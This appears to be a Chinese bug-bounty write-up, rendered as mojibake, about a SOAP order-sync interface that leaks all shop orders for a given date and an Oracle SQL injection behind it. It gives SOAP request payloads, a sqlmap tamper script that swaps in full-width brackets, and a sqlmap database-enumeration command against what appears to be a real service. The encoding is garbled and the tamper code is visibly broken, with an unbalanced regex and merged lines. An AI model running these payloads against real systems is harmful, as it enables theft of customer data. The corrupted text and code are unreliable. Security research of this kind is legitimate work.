Soap注入意外發(fā)現(xiàn)Oralcle注入漏洞

在對(duì)某 SRC 測(cè)試時(shí),根據(jù)證書信息收集到了部分深度子域名,并且找到了對(duì)應(yīng)的ip段,fuzz出了其src的c段資產(chǎn)
0X01 webservice 的服務(wù)器
? ? ? 在C段資產(chǎn)中發(fā)現(xiàn)了webservice 的服務(wù)器,并且獲取到了對(duì)應(yīng)接口。

使用 soup ui 進(jìn)行調(diào)試數(shù)據(jù)
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"xmlns:odc="http://odc.ws.qiku.com/">
<soapenv:Header/>
<soapenv:Body>
<odc:syncOrderInfo>
<!--Optional:-->
<arg0></arg0>
</odc:syncOrderInfo>
</soapenv:Body>
</soapenv:Envelope>
<arg0></arg0>
ps:當(dāng)<arg0></arg0>中間無參數(shù)值時(shí) , Soap 接口拋出了一個(gè) Oracle 的錯(cuò)誤信息,并提示“Date format error,YY-MM-DD”
構(gòu)造一個(gè)符合條件的 date 數(shù)據(jù)
比如2023-2-16
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"xmlns:odc="http://odc.ws.qiku.com/">
<soapenv:Header/>
<soapenv:Body>
<odc:syncOrderInfo>
<!--Optional:-->
<arg0>2023-2-16</arg0>
</odc:syncOrderInfo>
</soapenv:Body>
</soapenv:Envelope>

arg0 處為日期參數(shù),指定日期,即可查詢到 xx src 商城所有訂單信息屬于嚴(yán)重泄露客戶數(shù)據(jù)的漏洞
0X02 Oracle的數(shù)據(jù)庫注入漏洞
注入時(shí)發(fā)現(xiàn)數(shù)據(jù)包會(huì)規(guī)律(),這里小說一個(gè)關(guān)于oracle的騷知識(shí):在 Oracle 中文版本中,中文括號(hào)()可以代替英文()而且不報(bào)錯(cuò)!

編寫一個(gè)tamper
#!/usr/bin/env python
""" Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
import os
import re
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST
def dependencies():
singleTimeWarnMessage("tamper script '%s' is unlikely to work against %s" %(os.path.basename(__file__).split(".")[0], DBMS.PGSQL))
def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal = re.sub(r"\s*(\s*", "(", retVal)
retVal = re.sub(r"\s*)\s*", ")", retVal)
return retVal
使用sqlmap進(jìn)行注入 ,命令:python sqlmap.py -r xxx.txt --dbs --tamper=brackets.py ;? #在日期處加*
